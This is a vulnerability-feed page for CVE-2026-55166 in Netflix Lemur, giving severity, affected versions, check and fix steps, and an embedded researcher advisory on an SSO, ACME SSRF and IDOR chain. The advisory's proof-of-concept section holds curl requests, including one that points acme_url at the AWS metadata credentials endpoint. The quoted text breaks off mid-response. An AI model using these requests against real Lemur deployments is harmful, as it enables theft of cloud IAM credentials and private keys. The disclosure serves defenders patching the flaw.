---
id: "CVE-2026-55166"
page: "https://infrastack.ai/live/CVE-2026-55166"
kind: "vulnerability"
aliases: ["CVE-2026-55166", "GHSA-v2wp-frmc-5q3v"]
title: "Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise"
severity: "critical"
cvss: 9.9
epss: 0.00287
exploited: false
status: "open"
category: "package"
products: [{"name": "lemur", "fixed": ["1.9.2"], "affected": "< 1.9.2", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["aws", "cwe-285", "cwe-639", "cwe-918", "lemur", "package", "pki", "self-hosted", "sso"]
not_affected_if: ["no-acme-plugin", "no-sso-auto-provision", "version-1.9.2-or-later"]
published_at: "2026-06-25T22:07:19+00:00"
first_seen_at: "2026-11-16T15:37:42+00:00"
updated_at: "2026-11-16T15:37:51+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-v2wp-frmc-5q3v", "first_seen_at": "2026-11-16T15:37:42+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55166", "first_seen_at": "2026-11-16T16:08:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00287, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-55166"}]
---

# Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise

Link for people: https://infrastack.ai/live/CVE-2026-55166 (this .md is for agents)

Lemur 1.9.0 and earlier let any newly provisioned SSO user point an ACME authority at an internal URL such as the AWS metadata service, which makes the server fetch and return cloud role credentials. The same flaw lets the original certificate creator keep reading a private key even after ownership is transferred.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:lemur affected < 1.9.2 fixed 1.9.2

## How to check

- Check the installed version with `pip show lemur` and compare it to `1.9.2`.
- Review whether SSO auto-provisioning creates users as active without approval.
- Check whether ACME authority creation accepts arbitrary `acme_url` values.

## Fix

- `lemur` (pypi): move to `1.9.2`.

## Timeline

- 2026-11-16T15:37:42+00:00 ghsa https://github.com/advisories/GHSA-v2wp-frmc-5q3v
- 2026-11-16T16:08:50+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-55166

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/Netflix/lemur/security-advisories/GHSA-v2wp-frmc-5q3v
- [advisory] Maintainer's advisory: github.com https://github.com/Netflix/lemur/security/advisories/GHSA-v2wp-frmc-5q3v
- [fix] Release: github.com https://github.com/Netflix/lemur/releases/tag/v1.9.2
- [fix] Patch: github.com https://github.com/Netflix/lemur/commit/872f6e282542352f2bf3f6e2bcc504ab81e1843d

## From the sources

<!-- obsidian --><h1 data-heading="Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR">Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR</h1>
<h2 data-heading="Vulnerability Summary">Vulnerability Summary</h2>

Field | Value
-- | --
Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions | github.com/Netflix/lemur __version__ = "1.9.0" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks.


<h2 data-heading="Executive Summary">Executive Summary</h2>
<p>A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as <code>active=True</code> with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied <code>acme_url</code> and fetches it server-side with no allowlist, reaching EC2 IMDS at <code>169.254.169.254</code>; (3) the certificate key-fetch endpoint grants <code>cert.user</code> (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline <code>.cast</code> ships with this report.</p>
<p>Walkthrough: <a href="https://asciinema.org/a/CFYaoR2fxWEIdZDf" class="external-link" target="_blank" rel="noopener nofollow">https://asciinema.org/a/CFYaoR2fxWEIdZDf</a></p>
<hr>
<h2 data-heading="Description">Description</h2>
<p>Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.</p>
<p><strong>Sink 1 — SSO auto-provision</strong> (<code>lemur/lemur/auth/views.py:300-308</code>). When a new federated identity hits the SSO callback, Lemur calls <code>user_service.create(..., active=True, ...)</code>. There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to <code>read-only</code>. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.</p>
<p><strong>Sink 2 — ACME <code>acme_url</code> SSRF</strong> (<code>lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201</code>). When an authenticated user posts a new ACME authority, the plugin reads <code>options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))</code> and calls <code>ClientV2.get_directory(directory_url, net)</code> — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so <code>file://</code> and <code>gopher://</code> are reachable in some <code>requests</code> versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream <code>acme.client.ClientV2</code> returns the response body as part of the constructed <code>Directory</code> — the body is round-tripped into the authority object Lemur stores. On AWS, that means <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/&#x3C;role></code> returns the worker's <code>AccessKeyId</code>, <code>SecretAccessKey</code>, and STS <code>Token</code> to the attacker.</p>
<p><strong>Sink 3 — creator-equality IDOR</strong> (<code>lemur/lemur/certificates/views.py:734</code>). The key-fetch view branches on <code>if g.current_user != cert.user</code>: only when the caller is <em>not</em> the certificate's original creator does Lemur consult <code>CertificatePermission</code>. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring <code>cert.owner</code> to a different team or admin does not strip the original creator's access to the key.</p>
<p>Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.</p>
<h2 data-heading="Proof of Concept &#x26; Steps to Reproduce">Proof of Concept &#x26; Steps to Reproduce</h2>
<p>A full walkthrough is recorded at <a href="https://asciinema.org/a/CFYaoR2fxWEIdZDf" class="external-link" target="_blank" rel="noopener nofollow">https://asciinema.org/a/CFYaoR2fxWEIdZDf</a>. An offline <code>.cast</code> file is attached as <code>lemur_pki_acme_ssrf_idor.cast</code>. The lab harness is in <code>lemur_pki_acme_ssrf_idor/support/</code> — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to <code>169.254.169.254:80</code>.</p>
<p><strong>Prerequisites</strong>: Docker, <code>curl</code>, <code>jq</code>, <code>openssl</code>.</p>
<p><strong>Run</strong></p>
<pre><code class="language-bash">cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh
</code></pre>
<p>The script wires the IMDS mock via Docker's <code>--add-host 169.254.169.254:127.0.0.1</code>. Every step's HTTP body is dumped to <code>evidence/</code> for byte-level review.</p>
<h3 data-heading="Step 1 — Authenticate via SSO (sink 1)">Step 1 — Authenticate via SSO (sink 1)</h3>
<pre><code class="language-bash">curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'
</code></pre>
<p>Response (<code>evidence/03_sso_provision_response.json</code>):</p>
<pre><code class="language-json">{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}
</code></pre>
<p><code>active=True</code> and <code>auto_provisioned=true</code>. No admin saw this account. No approval was issued. This is sink 1.</p>
<h3 data-heading="Step 2 — Create an ACME authority with &#x60;acme_url&#x60; pointed at IMDS (sink 2)">Step 2 — Create an ACME authority with <code>acme_url</code> pointed at IMDS (sink 2)</h3>
<pre><code class="language-bash">curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'
</code></pre>
<p>Response (<code>evidence/04_ssrf_authority_response.json</code>):</p>
<pre><code class="language-json">{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/secur

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
